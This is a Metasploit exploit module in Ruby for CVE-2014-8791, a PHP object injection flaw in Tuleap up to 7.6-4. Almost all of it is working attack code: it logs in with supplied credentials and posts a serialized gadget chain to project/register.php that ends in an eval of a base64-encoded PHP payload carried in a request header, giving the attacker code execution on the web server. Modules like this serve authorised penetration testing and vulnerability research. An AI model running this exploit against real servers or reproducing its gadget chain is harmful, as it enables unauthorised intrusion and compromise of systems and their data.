Tuleap PHP Unserialize Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Tuleap PHP Unserialize Code Execution',  
'Description' => %q{  
This module exploits a PHP object injection vulnerability in Tuelap <= 7.6-4 which could be  
abused to allow authenticated users to execute arbitrary code with the permissions of the  
web server. The dangerous unserialize() call exists in the 'src/www/project/register.php'  
file. The exploit abuses the destructor method from the Jabbex class in order to reach a  
call_user_func_array() call in the Jabbex class and call the fetchPostActions() method from  
the Transition_PostAction_FieldFactory class to execute PHP code through an eval() call. In  
order to work, the target must have the 'sys_create_project_in_one_step' option disabled.  
},  
'License' => MSF_LICENSE,  
'Author' => 'EgiX',  
'References' =>  
[  
['CVE', '2014-8791'],  
['OSVDB', '115128'],  
['URL', 'http://karmainsecurity.com/KIS-2014-13'],  
['URL', 'https://tuleap.net/plugins/tracker/?aid=7601']  
],  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Generic (PHP Payload)', {}]],  
'DisclosureDate' => 'Nov 27 2014',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),  
OptString.new('USERNAME', [true, "The username to authenticate with" ]),  
OptString.new('PASSWORD', [true, "The password to authenticate with" ]),  
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),  
Opt::RPORT(443)  
], self.class)  
end  
  
def check  
flag = rand_text_alpha(rand(10)+20)  
res = exec_php("print #{flag};")  
  
if res and res.body and res.body.to_s =~ /#{flag}/  
return Exploit::CheckCode::Vulnerable  
end  
  
Exploit::CheckCode::Safe  
end  
  
def do_login()  
print_status("#{peer} - Logging in...")  
  
username = datastore['USERNAME']  
password = datastore['PASSWORD']  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'account/login.php'),  
'vars_post' => {'form_loginname' => username, 'form_pw' => password}  
})  
  
unless res && res.code == 302  
fail_with(Failure::NoAccess, "#{peer} - Login failed with #{username}:#{password}")  
end  
  
print_status("#{peer} - Login successful with #{username}:#{password}")  
res.get_cookies  
end  
  
def exec_php(php_code)  
session_cookies = do_login()  
  
chain = 'O:6:"Jabbex":2:{S:15:"\00Jabbex\00handler";O:12:"EventHandler":1:{S:27:"\00EventHandler\00authenticated";b:1;}'  
chain << 'S:11:"\00Jabbex\00jab";O:6:"Jabber":3:{S:8:"_use_log";i:1;S:11:"_connection";O:5:"Chart":0:{}S:15:"_event_handlers";'  
chain << 'a:1:{S:9:"debug_log";a:2:{i:0;O:34:"Transition_PostAction_FieldFactory":1:{S:23:"\00*\00post_actions_classes";'  
chain << 'a:1:{i:0;S:52:"1;eval(base64_decode($_SERVER[HTTP_PAYLOAD]));die;//";}}i:1;S:16:"fetchPostActions";}}}}'  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'project/register.php'),  
'cookie' => session_cookies,  
'vars_post' => {'data' => chain},  
'headers' => {'payload' => Rex::Text.encode_base64(php_code)}  
}, 3)  
end  
  
def exploit  
print_status("#{peer} - Exploiting the PHP object injection...")  
exec_php(payload.encoded)  
end  
end  
`